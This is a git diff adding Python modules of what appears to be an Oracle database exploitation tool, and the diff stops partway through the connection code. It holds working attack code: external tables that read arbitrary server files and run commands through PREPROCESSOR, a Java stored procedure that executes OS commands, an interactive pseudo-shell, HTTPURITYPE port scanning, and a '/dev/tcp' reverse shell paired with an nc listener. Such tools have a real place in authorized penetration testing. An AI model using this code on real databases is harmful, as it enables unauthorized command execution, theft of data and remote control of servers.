b/DirectoryManagement.py @@ -0,0 +1,87 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging + +class DirectoryManagement(OracleDatabase): + ''' + Allow to manage directories + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("DirectoryManagement object created") + OracleDatabase.__init__(self,args) + self.PREFIX = "ODATPREFIX" + #self.__dropAllOldDirectories__() + self.__setDirectoryName__() + + def __setDirectoryName__(self): + ''' + Generate a new directory name + ''' + logging.debug('Generate a new directory name localy') + self.directoryName = self.PREFIX + self.__generateRandomString__(nb=20).upper() + + def __createOrRemplaceDirectory__(self,path): + ''' + Create a directory and grant READ,WRITE to PUBLIC + Return True if no error, otherwise return exception + ''' + logging.debug('Create or remplace the {0} directory to {1}'.format(self.directoryName, path)) + CREATE_REQUEST = "CREATE OR REPLACE DIRECTORY {0} AS '{1}'".format(self.directoryName, path) + GRANT_REQUEST = "GRANT READ,WRITE ON DIRECTORY {0} TO PUBLIC".format(self.directoryName) + response = self.__execPLSQL__(CREATE_REQUEST) + if isinstance(response,Exception): + logging.info("Impossible to create the directory: {0}".format(str(response).replace('\n',' '))) + return response + response = self.__execPLSQL__(GRANT_REQUEST) + if isinstance(response,Exception): + logging.info("Impossible to grant privileges on the directory: {0}".format(str(response).replace('\n',' '))) + return response + return True + + def __dropThisDirectory__(self, nameOfTheDirectory): + ''' + Drop the directoryName directory + Return True if no error, otherwise return exception + ''' + logging.debug('Drop the {0} directory'.format(nameOfTheDirectory)) + DROP_REQUEST = "DROP DIRECTORY {0}".format(nameOfTheDirectory) + response = self.__execPLSQL__(DROP_REQUEST) + if isinstance(response,Exception): + logging.info("Impossible to drop the directory: {0}".format(str(response).replace('\n',' '))) + return response + return True + + def __dropDirectory__(self): + ''' + Drop the directoryName directory + Return True if no error, otherwise return exception + ''' + return self.__dropThisDirectory__(self.directoryName) + + def __dropAllOldDirectories__(self): + ''' + Drop all directories created + Return False if error + Otherwise return True + ''' + logging.debug('Drop all directories created') + SELECT_REQ = "SELECT directory_name FROM all_directories WHERE directory_name LIKE '{0}%'".format(self.PREFIX) + response = self. __execThisQuery__(query=SELECT_REQ,ld=['directory_name']) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(SELECT_REQ,str(response))) + return ErrorSQLRequest(response) + if response == [] : + logging.debug("No directory to delete") + return True + else : + for aDir in response : + self.__dropThisDirectory__(aDir['directory_name']) + return True + + + diff --git a/ExternalTable.py b/ExternalTable.py new file mode 100644 index 0000000..0cdbd2c --- /dev/null +++ b/ExternalTable.py @@ -0,0 +1,158 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from DirectoryManagement import DirectoryManagement +import logging, random, string +from Utils import checkOptionsGivenByTheUser +from Constants import * + +class ExternalTable (DirectoryManagement): + ''' + Allow the user to read file thanks to external tables + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("ExternalTable object created") + DirectoryManagement.__init__(self,args) + self.tableName = self.__generateRandomString__() + self.__setDirectoryName__() + self.ERROR_EXTERNAL_TABLE_WITH_WRITE = "ORA-30653: reject limit reached" + self.ERROR_EXTERNAL_TABLE_READ ="ORA-29400: data cartridge error" + + def __createTableForReadFile__(self,remoteNameFile): + ''' + Create table name with, for exemple: + CREATE TABLE rf1 (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6)); + ''' + logging.info('Create the table: {0}'.format(self.tableName)) + query = "CREATE TABLE {0} (line varchar2(256)) ORGANIZATION EXTERNAL (TYPE oracle_loader DEFAULT DIRECTORY {1} ACCESS PARAMETERS ( RECORDS DELIMITED BY NEWLINE BADFILE 'bad_data.bad' LOGFILE 'log_data.log' FIELDS TERMINATED BY ',' MISSING FIELD VALUES ARE NULL REJECT ROWS WITH ALL NULL FIELDS (line)) LOCATION ('{2}')) PARALLEL REJECT LIMIT 0 NOMONITORING".format(self.tableName, self.directoryName, remoteNameFile) + response = self.__execThisQuery__(query=query,isquery=False) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + else : return True + + def __createTableForExec__(self,remoteNameFile): + ''' + Create a table in order to execute a command + ''' + logging.info('Create the table: {0}'.format(self.tableName)) + query = """CREATE TABLE {0} ( line NUMBER , text VARCHAR2(4000)) ORGANIZATION EXTERNAL ( TYPE ORACLE_LOADER DEFAULT DIRECTORY {1} ACCESS PARAMETERS ( RECORDS DELIMITED BY NEWLINE NOLOGFILE PREPROCESSOR {1}: '{2}' FIELDS TERMINATED BY WHITESPACE ( line RECNUM , text POSITION(1:4000)) ) LOCATION ('{2}') ) REJECT LIMIT UNLIMITED""".format(self.tableName, self.directoryName, remoteNameFile) + response = self.__execThisQuery__(query=query,isquery=False) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + else : return True + + def __dropTable__(self): + ''' + Drop the table with, for exemple + DROP TABLE my_table PURGE; + ''' + logging.info('Drop the table: {0}'.format(self.tableName)) + query = "DROP TABLE {0} PURGE".format(self.tableName) + response = self.__execThisQuery__(query=query,isquery=False) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + else : return True + + + def getFile (self,remotePath, remoteNameFile, localFile): + ''' + Create the localFile file containing data stored on the remoteNameFile (stored in the remotePath) + ''' + data = "" + logging.info("Copy the {0} remote file (stored in {1}) to {2}".format(remoteNameFile,remotePath,localFile)) + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + status = self.__createTableForReadFile__(remoteNameFile) + if isinstance(status,Exception): return status + request = "select line from {0}".format(self.tableName) + response = self.__execThisQuery__(query=request,ld=['line']) + if isinstance(response,Exception): + logging.info('Error with the SQL request {0}: {1}'.format(request,response)) + status = self.__dropDirectory__() + status = self.__dropTable__() + return response + else : + for l in response: + data += l['line']+'\n' + status = self.__dropDirectory__() + status = self.__dropTable__() + return data + + def execute (self, remotePath, remoteNameFile): + ''' + Execute a command + ''' + logging.info("Execute the {0} command stored stored in {1}".format(remoteNameFile,remotePath)) + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + status = self.__createTableForExec__(remoteNameFile) + if isinstance(status,Exception): return status + request = "select line from {0}".format(self.tableName) + response = self.__execThisQuery__(query=request, ld=['line']) + if isinstance(response,Exception): + logging.info('Error with the SQL request {0}: {1}'.format(request,response)) + status = self.__dropDirectory__() + status = self.__dropTable__() + return response + else : + logging.info("{0} command executed without errors".format(remoteNameFile)) + status = self.__dropDirectory__() + status = self.__dropTable__() + return response + + def testAll(self): + ''' + Test all functions + ''' + folder = self.__generateRandomString__() + self.args['print'].subtitle("External table to read files ?") + logging.info("Simulate the file reading in the {0} folder thanks to an external table".format(folder)) + status = self.getFile (remotePath=folder, remoteNameFile='data.txt', localFile="test.txt") + if status == True or self.ERROR_EXTERNAL_TABLE_WITH_WRITE in str(status) or self.ERROR_EXTERNAL_TABLE_READ in str(status): + self.args['print'].goodNews("OK") + else : + self.args['print'].badNews("KO") + self.args['print'].subtitle("External table to execute system commands ?") + logging.info("Simulate the file execution thanks to an external table") + status = self.execute (remotePath=folder, remoteNameFile='test') + if status == True or self.ERROR_EXTERNAL_TABLE_WITH_WRITE in str(status) or self.ERROR_EXTERNAL_TABLE_READ in str(status): + self.args['print'].goodNews("OK") + else : + self.args['print'].badNews("KO") + +def runExternalTableModule (args): + ''' + Run the External Table module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","getFile","exec"]) == False : return EXIT_MISS_ARGUMENT + externalTable = ExternalTable(args) + status = externalTable.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the External Table module can be used") + status = externalTable.testAll() + #Option 1: getFile + if args['getFile'] != None: + args['print'].title("Read the {0} file stored in the {1} path".format(args['getFile'][1],args['getFile'][0])) + data = externalTable.getFile (remotePath=args['getFile'][0], remoteNameFile=args['getFile'][1], localFile=args['getFile'][2]) + if isinstance(data,Exception): + args['print'].badNews("There is an error: {0}".format(data)) + else: + args['print'].goodNews("Data stored in the remote file {0} stored in {1}".format(args['getFile'][1],args['getFile'][0])) + print data + #Option 2: exec a script or command + if args['exec'] != None: + args['print'].title("Execute the {0} command stored in the {1} path".format(args['exec'][1],args['exec'][0])) + data = externalTable.execute (remotePath=args['exec'][0], remoteNameFile=args['exec'][1]) + if isinstance(data,Exception): + args['print'].badNews("There is an error: {0}".format(data)) + else: + args['print'].goodNews("The {0} command stored in {1} has been executed (normally)".format(args['exec'][1],args['exec'][0])) + + diff --git a/Http.py b/Http.py new file mode 100644 index 0000000..77af736 --- /dev/null +++ b/Http.py @@ -0,0 +1,151 @@ +#!/usr/bin/python +# -*- coding: utf-8 -* + +from OracleDatabase import OracleDatabase +import threading, thread +import logging +import Queue +from texttable import Texttable +from Utils import areEquals +import os + +class Http (OracleDatabase): + ''' + Allow the user to scan ports + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("Http object created") + OracleDatabase.__init__(self,args) + self.ERROR_NO_HTTP = "ORA-29263: HTTP protocol error" + self.ERROR_PROTOCOL = "ORA-29259: end-of-input reached" + self.ERROR_NO_OPEN = "ORA-12541: TNS:no listener" + self.ERROR_TIMEOUT = "ORA-12535: TNS:operation timed out" + self.ERROR_TRANSF_TIMEOUT = "ORA-29276: transfer timeout" + self.ERROR_UTL_TCP_NETWORK = "ORA-29260: network error" + + class scanAPort(threading.Thread): + + def __init__(self, utlHttpObject,ip,ports,portStatusQueue,pbar,nb,portsQueue,queueLock): + threading.Thread.__init__(self) + self.utlHttpObject = utlHttpObject + self.ip = ip + self.portStatusQueue = portStatusQueue + self.pbar = pbar + self.nb = nb + self.portsQueue = portsQueue + self.queueLock = queueLock + + def run(self): + protocol, status, info = None, None, None + while True: + if self.portsQueue.empty(): thread.exit() + try : + port = self.portsQueue.get(block=False) + except Exception, e: + thread.exit() + url = 'http://{0}:{1}/'.format(self.ip, port) + logging.debug("Scanning "+url+' ... (response in max 60 secs)') + try: + response = self.utlHttpObject.tryToConnect(self.ip, port) + except Exception,e: + response = self.utlHttpObject.sendGetRequest(url) + if isinstance(response,Exception): + logging.debug('Error returned: {0}'.format(response)) + if self.utlHttpObject.ERROR_NO_OPEN in str(response): protocol, status, info = 'tcp','close',self.utlHttpObject.ERROR_NO_OPEN + elif self.utlHttpObject.ERROR_TIMEOUT in str(response): protocol, status, info = 'tcp','close',self.utlHttpObject.ERROR_TIMEOUT + elif self.utlHttpObject.ERROR_UTL_TCP_NETWORK in str(response): protocol, status, info = 'tcp','close',self.utlHttpObject.ERROR_UTL_TCP_NETWORK + elif self.utlHttpObject.ERROR_NO_HTTP in str(response): protocol, status, info = 'tcp','open',self.utlHttpObject.ERROR_NO_HTTP + elif self.utlHttpObject.ERROR_PROTOCOL in str(response): protocol, status, info = 'tcp','open',self.utlHttpObject.ERROR_PROTOCOL + elif self.utlHttpObject.ERROR_TRANSF_TIMEOUT in str(response): protocol, status, info = 'tcp','open',self.utlHttpObject.ERROR_TRANSF_TIMEOUT + else: protocol, status, info = 'tcp','unknown',None + else : protocol, status, info = 'tcp/HTTP','open',None + self.queueLock.acquire() + if protocol != None : self.portStatusQueue.put([port,protocol,status,info]) + nb = self.nb.get(block=False) + 1 + self.nb.put(nb) + self.pbar.update(nb) + self.queueLock.release() + self.portsQueue.task_done() + + def scanTcpPorts(self,httpObject=None,ip=None,ports=[],nbThread=2): + ''' + Scan tcp port of the ip system + ''' + pbar,nb = self.getStandardBarStarted(len(ports)),Queue.Queue(1) + threads, portStatusQueue, portsQueue = [], Queue.Queue(), Queue.Queue() + queueLock = threading.Lock() + nb.put(0) + for aPort in ports : portsQueue.put(aPort) + for i in range(nbThread): + thread = httpObject.scanAPort(httpObject,ip,ports,portStatusQueue,pbar,nb, portsQueue,queueLock) + threads += [thread] + thread.start() + portsQueue.join() + pbar.finish() + portStatus = [item for item in portStatusQueue.queue] + return sorted(portStatus, key=lambda x: int(x[0])) + + def printScanPortResults(self,results): + ''' + resultats is a list of list + print resultat of scan port + ''' + cleanList = [] + results.insert(0,["PORT","PROTOCOL","STATE",'ERROR']) + table = Texttable(max_width=120) + table.set_deco(Texttable.HEADER) + if self.args['verbose']<2 : + for l in results: + if areEquals(l[2],'close')==False: cleanList.append(l) + results = cleanList + + table.add_rows(results) + self.args['print'].goodNews("Scan report for {0}:\n{1}".format(self.args['scan-ports'][0],table.draw())) + + def parseRequest(self,nameFileRequest=None): + ''' + Parse le fichier nameFile contenant une requête HTTP et retourne + une liste permettant ensuite d'envoyer la requête avec httlib par + exemple. + Exemple d'utilisation: + conn = httplib.HTTPConnection("root-me.org") + conn.request(dataReq['method'],dataReq['url'],dataReq['body'],dataReq['header']) + page = conn.getresponse().read() + ... + conn.close() + ''' + TYPE_REQUEST = ['GET','POST'] + if os.path.isfile(nameFileRequest)==False : + logging.error("File {0} not exist".format(nameFileRequest)) + return None + f = open(nameFileRequest) + dataRequest = {'method':'', 'url':'', 'body':None, 'header':{}} + for nl, l in enumerate(f): + if nl==0 : + try : + lsplit = l.split(" ") + if len(lsplit) != 3 : + logging.error("{0} not contains 3 parts".format(repr(l))) + return None + if lsplit[0] in TYPE_REQUEST : + dataRequest['method']=lsplit[0] + dataRequest['url']=lsplit[1] + dataRequest['version']=lsplit[2].replace('\n','').replace('\t','') + else : + logging.error("{0} not in {1}".format(lsplit[0],TYPE_REQUEST)) + return None + except: + logging.error("Error with the first line {0} of the file \'{1}\'".format(repr(l),nameFileRequest)) + return None + else : + try: + lsplit = l.split(": ") + dataRequest['header'][lsplit[0]]=lsplit[1].replace("\n","") + except: + logging.error("Error with the line {0} of the file \'{1}\'".format(repr(l),nameFileRequest)) + return None + f.close() + return dataRequest diff --git a/HttpUriType.py b/HttpUriType.py new file mode 100644 index 0000000..7cd7f36 --- /dev/null +++ b/HttpUriType.py @@ -0,0 +1,85 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from Http import Http +import logging +from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser +from Constants import * + + +class HttpUriType (Http): + ''' + Allow the user to send HTTP request + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("HttpUriType object created") + Http.__init__(self,args) + + def sendGetRequest(self,url,printResponse=True): + ''' + Send a HTTP get request to url + Return False if the current user is not allowed to use the httpuritype lib, else return False or response data + ''' + logging.info('Send a HTTP GET request to {0}'.format(url)) + query = "select httpuritype('{0}').getclob() from dual".format(url) + response = self.__execQuery__(query=query,ld=['data']) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + elif isinstance(response,list) and isinstance(response[0],dict): + return response[0]['data'] + logging.info('Enough privileges') + return '' + + def testAll (self): + ''' + Test all functions + ''' + self.args['print'].subtitle("HTTPURITYPE library ?") + logging.info('Try to make the server send a HTTP request to 0.0.0.0 with the HTTPURITYPE library') + response = self.sendGetRequest('http://0.0.0.0/',printResponse=False) + if isinstance(response,Exception) and self.ERROR_NO_PRIVILEGE in str(response) or self.ERROR_XML_DB_SECU_NOT_INST in str(response): + logging.info('Not enough privileges: {0}'.format(str(response))) + self.args['print'].badNews("KO") + return False + else: + self.args['print'].goodNews("OK") + return True + +def runHttpUriTypeModule(args): + ''' + Run the HTTPURITYPE module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","httpUrl","scan-ports"]) == False : return EXIT_MISS_ARGUMENT + httpUriType = HttpUriType(args) + status = httpUriType.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the HTTPURITYPE library can be used") + status = httpUriType.testAll() + #Option 1: httpUrl + if args['httpUrl'] != None: + args['print'].title("Send a GET request from {0} to {1}".format(args['connectionStr'],args['httpUrl'])) + response = httpUriType.sendGetRequest(url=args['httpUrl']) + if isinstance(response,Exception): + args['print'].badNews("HTTP GET request failed") + else : + args['print'].goodNews("The server response is:\n {0}".format(response)) + if args['outputFile'] != None : httpUriType.writeFile(args['outputFile'],str(response)) + #Option 2: scan-ports + if args['scan-ports'] != None: + ports = [] + if "," in args['scan-ports'][1]: ports=args['scan-ports'][1].split(',') + elif '-' in args['scan-ports'][1]: + startEnd = args['scan-ports'][1].split('-') + for aPort in range(int(startEnd[0]),int(startEnd[1])): ports.append(str(aPort)) + else : logging.error("Syntax for ports given not recognized (ex: 123-2452 or 143,134,4783)") + args['print'].title("Scan ports ({0}) of {1} ".format(args['scan-ports'][1],args['scan-ports'][0])) + resultats = httpUriType.scanTcpPorts(httpObject=httpUriType,ip=args['scan-ports'][0],ports=ports) + httpUriType.printScanPortResults(resultats) + httpUriType.close() + + diff --git a/Info.py b/Info.py new file mode 100644 index 0000000..ed65788 --- /dev/null +++ b/Info.py @@ -0,0 +1,62 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging + +class Info (OracleDatabase): + ''' + Information about the remote Oracle database + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("Info object created") + OracleDatabase.__init__(self,args) + self.version = '' + self.os = '' + + def isWindows(self): + ''' + Return True if Windows + ''' + if "windows" in self.os.lower() : return True + else : return False + + def isLinux(self): + ''' + Return True if Linux + ''' + if "linux" in self.os.lower() : return True + else : return False + + def isVersion(self, version=None): + ''' + return True if version 11 + ''' + if version in self.version : return True + else: return False + + + def loadInformationRemoteDatabase(self): + ''' + Get the oracle versions + ''' + logging.debug ("Pickup the remote verion") + self.version = self.args['dbcon'].version + logging.debug ("Pickup the remote Operating System") + REQ = "select rtrim(substr(replace(banner,'TNS for ',''),1,instr(replace(banner,'TNS for ',''),':')-1)) os from v$version where banner like 'TNS for %'" + response = self.__execQuery__(query=REQ,ld=['OS']) + if isinstance(response,Exception): + pass + else : + if isinstance(response,list) and isinstance(response[0],dict): + self.os = response[0]['OS'] + logging.info(str(self)) + + def __str__(self): + ''' + String representation + ''' + return "Oracle Version: {0} and OS Version: {1}".format(self.version,self.os) diff --git a/Java.py b/Java.py new file mode 100644 index 0000000..483e0af --- /dev/null +++ b/Java.py @@ -0,0 +1,281 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging, subprocess +from threading import Thread +from Utils import checkOptionsGivenByTheUser +from Constants import * + +class Java (OracleDatabase): + ''' + Allow to use Java remotly + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("Java object created") + OracleDatabase.__init__(self,args) + self.SOURCE_OS_COMMAND_CLASS = """ +CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "OSCommand" AS + import java.io.*; + public class OSCommand { + public static String executeCommand(String command) { + StringBuffer sb = new StringBuffer(); + try { + String[] finalCommand; + if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) { + String systemRootvariable = System.getenv("SystemRoot"); + finalCommand = new String[4]; + finalCommand[0] = systemRootvariable+"\\\system32\\\cmd.exe"; + finalCommand[1] = "/y"; + finalCommand[2] = "/c"; + finalCommand[3] = command; + } else { // Linux or Unix System + finalCommand = new String[3]; + finalCommand[0] = "/bin/sh"; + finalCommand[1] = "-c"; + finalCommand[2] = command; + } + // Execute the command... + final Process pr = Runtime.getRuntime().exec(finalCommand); + // Capture output from STDOUT + BufferedReader br_in = null; + try { + br_in = new BufferedReader(new InputStreamReader(pr.getInputStream())); + String buff = null; + while ((buff = br_in.readLine()) != null) { + sb.append(buff); sb.append("\\n"); + try {Thread.sleep(100);} catch(Exception e) {} + } + br_in.close(); + } catch (IOException ioe) { + System.out.println("Error printing process output."); + ioe.printStackTrace(); + } finally { + try { + br_in.close(); + } catch (Exception ex) {} + } + // Capture output from STDERR + BufferedReader br_err = null; + try { + br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream())); + String buff = null; + while ((buff = br_err.readLine()) != null) { + sb.append("stderr:"); + sb.append(buff); + sb.append("\\n"); + try {Thread.sleep(100); } catch(Exception e) {} + } + br_err.close(); + } catch (IOException ioe) { + System.out.println("Error printing execution errors."); + ioe.printStackTrace(); + } finally { + try { + br_err.close(); + } catch (Exception ex) {} + } + } + catch (Exception ex) { + System.out.println(ex.getLocalizedMessage()); + } + return sb.toString(); + } + };""" + self.SOURCE_OS_COMMAND_CREATE_FUNCTION = "CREATE OR REPLACE FUNCTION oscmd (p_command IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'OSCommand.executeCommand (java.lang.String) return java.lang.String';" + self.SOURCE_OS_COMMAND_EXEC = "select oscmd('{0}') from dual" + self.SOURCE_DROP_CLASS = "DROP JAVA SOURCE \"OSCommand\"" + self.SOURCE_DROP_FUNCTION = "DROP FUNCTION oscmd" + self.LINUX_CMD_ERROR = 'No such file or directory' + self.JAVA_SESSION_CLEARED = "Java session state cleared" + + def createClassAndFunctionToExecOsCmd(self): + ''' + CREATE AND COMPILE JAVA CLASS and CREATE FUNCTION TO CALL JAVA + ''' + logging.info("Create and compile the java class") + status = self.__execPLSQL__(self.SOURCE_OS_COMMAND_CLASS) + if isinstance(status,Exception): + logging.info("Impossible to create and compile the java class: {0}".format(self.cleanError(status))) + return status + else : + logging.info("Create a function to call java") + status = self.__execPLSQL__(self.SOURCE_OS_COMMAND_CREATE_FUNCTION) + if isinstance(status,Exception): + logging.info("Impossible to create function to call java: {0}".format(self.cleanError(status))) + return status + else : + return True + + def deleteClassAndFunctionToExecOsCmd(self): + ''' + Delete the COMPILED JAVA CLASS and delete the CREATED FUNCTION + ''' + logging.info("Delete the PL/SQL function created") + status = self.__execPLSQL__(self.SOURCE_DROP_FUNCTION) + if isinstance(status,Exception): + logging.info("Impossible to drop the function: {0}".format(self.cleanError(status))) + return status + else: + logging.info("Delete the java class compiled") + status = self.__execPLSQL__(self.SOURCE_DROP_CLASS) + if isinstance(status,Exception): + logging.info("Impossible to drop the class: {0}".format(self.cleanError(status))) + return status + return True + + def __runOSCmd__ (self,cmd,printResponse=True,retryNb=1): + ''' + Run a OS command + defineClassAndFunctionToExecOsCmd() must be run before this one + return string (stdout or stderr) or Exception + ''' + logging.info("Execute the following command system remotly: {0}".format(cmd)) + data = self.__execQuery__(query=self.SOURCE_OS_COMMAND_EXEC.format(cmd),ld=[]) + if isinstance(data,Exception): + logging.info("Impossible to execute the system command: {0}".format(str(data))) + if self.JAVA_SESSION_CLEARED in str(data): + if retryNb == 0 : return data + logging.info("Run again the OS command...") + return self.__runOSCmd__ (cmd=cmd,printResponse=printResponse,retryNb=retryNb-1) + return data + if data[0][0] == None : + logging.info('The system command output is empty') + return '' + else : + logging.info('The system command output is: `{0}`...'.format(data[0][0][:50])) + if printResponse == True : self.args['print'].printOSCmdOutput("{0}".format(data[0][0])) + return data[0][0] + + def execOSCommand(self,cmd,printResponse=True, needCreateClassAndFunction = True, needDeleteClassAndFunction = True): + ''' + Run a OS command + ''' + if needCreateClassAndFunction == False : + data = self.__runOSCmd__ (cmd=cmd,printResponse=printResponse) + else : + status = self.createClassAndFunctionToExecOsCmd() + if status != True: + self.args['print'].badNews("Impossible to use the JAVA library to execute a system command: {0}".format(str(status))) + return status + else: + data = self.__runOSCmd__ (cmd=cmd,printResponse=printResponse) + if needDeleteClassAndFunction == True : + status = self.deleteClassAndFunctionToExecOsCmd() + if status != True: + self.args['print'].goodNews("Impossible to delete functions created: {0}".format(self.cleanError(status))) + if isinstance(data,Exception) == False : return data + + def getInteractiveShell(self): + ''' + Give an interactive shell to the user + Return True if Ok, otherwise return False + ''' + exit, needCreateClassFunctions = False, True + while exit == False: + try: + if needCreateClassFunctions == True : + status = self.createClassAndFunctionToExecOsCmd() + if status == False: + self.args['print'].badNews("Impossible to use the JAVA library to execute a system command: {0}".format(str(status))) + return False + needCreateClassFunctions = False + else : + cmd = raw_input('{0}$ '.format(self.args['server'])) + output = self.execOSCommand(cmd=cmd,printResponse=True, needCreateClassAndFunction = False, needDeleteClassAndFunction = False) + except KeyboardInterrupt: + status = self.deleteClassAndFunctionToExecOsCmd() + if status != True: + self.args['print'].badNews("Impossible to delete functions created: {0}".format(self.cleanError(status))) + return True + return False + + def __runListenNC__ (self,port=None): + ''' + nc listen on the port + ''' + try : + subprocess.call("nc -l -v {0}".format(port), shell=True) + except KeyboardInterrupt: pass + + def giveReverseShell(self, localip, localport): + ''' + Give a reverse tcp shell via nc + Need upload nc.exe if the remote system is windows + ''' + BIN_NAMEFILE = "nc.exe" + FTP_CMDS_FILENAME = "C\\temp\\cmd.txt" + FTP_COMMANDS = ''' + echo 'binary' > {0} + echo 'mget {1}' > {0} + echo 'disconnect' > {0} + echo 'quit' > {0} + '''.format(FTP_CMDS_FILENAME,BIN_NAMEFILE) + FTP_GET_FILE_COMMAND = "ftp -a -s:{0}".format(FTP_CMDS_FILENAME) + if self.remoteSystemIsWindows() == True : + logging.info('The remote system is windows. I will upload the nc.exe binary on the remote server to give you a reverse shell') + #self.execOSCommand(cmd="",printResponse=True, needCreateClassAndFunction = True, needDeleteClassAndFunction = True) + elif self.remoteSystemIsLinux() == True : + CMD = "exec 5<>/dev/tcp/{0}/{1}; /bin/cat <&5 | while read line; do $line 2>&5 >&5; done".format("192.168.56.1",localport) + self.args['print'].goodNews("The reverse shell try to connect to {0}:{1}".format(localip,localport)) + a = Thread(None, self.__runListenNC__, None, (), {'port':localport}) + a.start() + try : + self.execOSCommand(cmd=CMD,printResponse=True, needCreateClassAndFunction = True, needDeleteClassAndFunction = True) + except KeyboardInterrupt: + self.args['print'].goodNews("Connection closed") + else : + logging.error("The remote server OS ({0}) is unknown".format(self.remoteOS.lower())) + + + + def testAll (self): + ''' + Test all functions + ''' + command = self.__generateRandomString__() + self.args['print'].subtitle('JAVA library ?') + logging.info("Try to use JAVA in order to execute the following random command: {0}".format(command)) + status = self.createClassAndFunctionToExecOsCmd() + if status != True: + self.args['print'].badNews("KO") + else: + data = self.__runOSCmd__ (command,printResponse=False) + if data == '': + logging.info("The system command {0} return no error, it's impossible with this random command".format(command)) + self.args['print'].badNews("KO") + else : + self.args['print'].goodNews("OK") + status = self.deleteClassAndFunctionToExecOsCmd() + if status != True: + self.args['print'].info("Impossible to delete functions created: {0}".format(self.cleanError(status))) + +def runjavaModule(args): + ''' + Run the JAVA module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","shell","reverse-shell"]) == False : return EXIT_MISS_ARGUMENT + java = Java(args) + status = java.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the DBMSScheduler library can be used") + status = java.testAll() + #Option 1: exec + if args['exec'] != None: + args['print'].title("Execute the `{0}` on the {1} server".format(args['exec'],args['server'])) + status = java.execOSCommand(cmd=args['exec'],printResponse=True, needCreateClassAndFunction = True, needDeleteClassAndFunction = True) + #Option 2: shell + if args['shell'] == True: + args['print'].title("Try to give you a pseudo shell to the {0} server".format(args['server'])) + java.getInteractiveShell() + #Option 3: reverse shell + if args['reverse-shell'] != None : + args['print'].title("Try to give you a nc reverse shell from the {0} server".format(args['server'])) + java.giveReverseShell(localip=args['reverse-shell'][0],localport=args['reverse-shell'][1]) + java.close() + + diff --git a/OracleDatabase.py b/OracleDatabase.py new file mode 100644 index 0000000..1949e47 --- /dev/null +++ b/OracleDatabase.py @@ -0,0 +1,284 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +import logging, random, string, cx_Oracle +from Utils import areEquals,checkOracleVersion,getOracleConnection,ErrorSQLRequest +from progressbar import * +from time import sleep +from sys import exit +from Constants import * + +class OracleDatabase: + ''' + ''' + def __init__(self,args): + ''' + Constructor + ''' + self.args = args + self.__generateConnectionString__() + self.oracleDatabaseversion = '' + self.remoteOS = '' + self.TARGET_UNAVAILABLE = ["Connect failed because target host or object does not exist", + "listener could not find available handler with matching protocol stack"] + self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV = "ORA-29283: invalid file operation" + self.ERROR_NO_PRIVILEGE = "ORA-24247: network access denied" + self.ERROR_NO_PRIVILEGE_INVALID_ID = "ORA-00904: : invalid identifier" + self.ERROR_NOT_SYSDBA = "ORA-28009: connection as SYS should be as SYSDBA or SYSOPER" + self.ERROR_INSUFF_PRIV_CONN = "ORA-01031: insufficient privileges" + self.ERROR_CONN_IMPOSS = "ORA-12541: TNS:no listener" + self.ERROR_XML_DB_SECU_NOT_INST = "ORA-24248: XML DB extensible security not installed" + + def __generateConnectionString__(self): + ''' + Generate Oracle Database connection string + ''' + self.args['connectionStr'] = "{0}/{1}@{2}:{3}/{4}".format(self.args['user'],self.args['password'],self.args['server'],self.args['port'],self.args['sid']) + logging.debug('Oracle connection string: {0}'.format(self.args['connectionStr'])) + return self.args['connectionStr'] + + def connection(self,threaded =True, stopIfError=False): + ''' + Connection to the database + 'The threaded argument is expected to be a boolean expression which indicates whether or not Oracle + should use the mode OCI_THREADED to wrap accesses to connections with a mutex. Doing so in single threaded + applications imposes a performance penalty of about 10-15% which is why the default is False.' + If stopIfError == True, stop if connection error + ''' + try: + if self.args['SYSDBA'] == True : + self.args['dbcon'] = cx_Oracle.connect(self.args['connectionStr'], mode=cx_Oracle.SYSDBA,threaded=threaded) + elif self.args['SYSOPER'] == True : + self.args['dbcon'] = cx_Oracle.connect(self.args['connectionStr'], mode=cx_Oracle.SYSOPER,threaded=threaded) + else : + self.args['dbcon'] = cx_Oracle.connect(self.args['connectionStr'],threaded=threaded) + self.args['dbcon'].autocommit = True + if self.remoteOS == '' and self.oracleDatabaseversion=='' : self.loadInformationRemoteDatabase() + return True + except Exception, e: + if self.ERROR_CONN_IMPOSS in str(e): + logging.critical("Impossible to connect to the remost host") + exit(EXIT_BAD_CONNECTION) + elif self.ERROR_NOT_SYSDBA in str(e): + logging.info("Connection as SYS should be as SYSDBA or SYSOPER, try to connect as SYSDBA") + 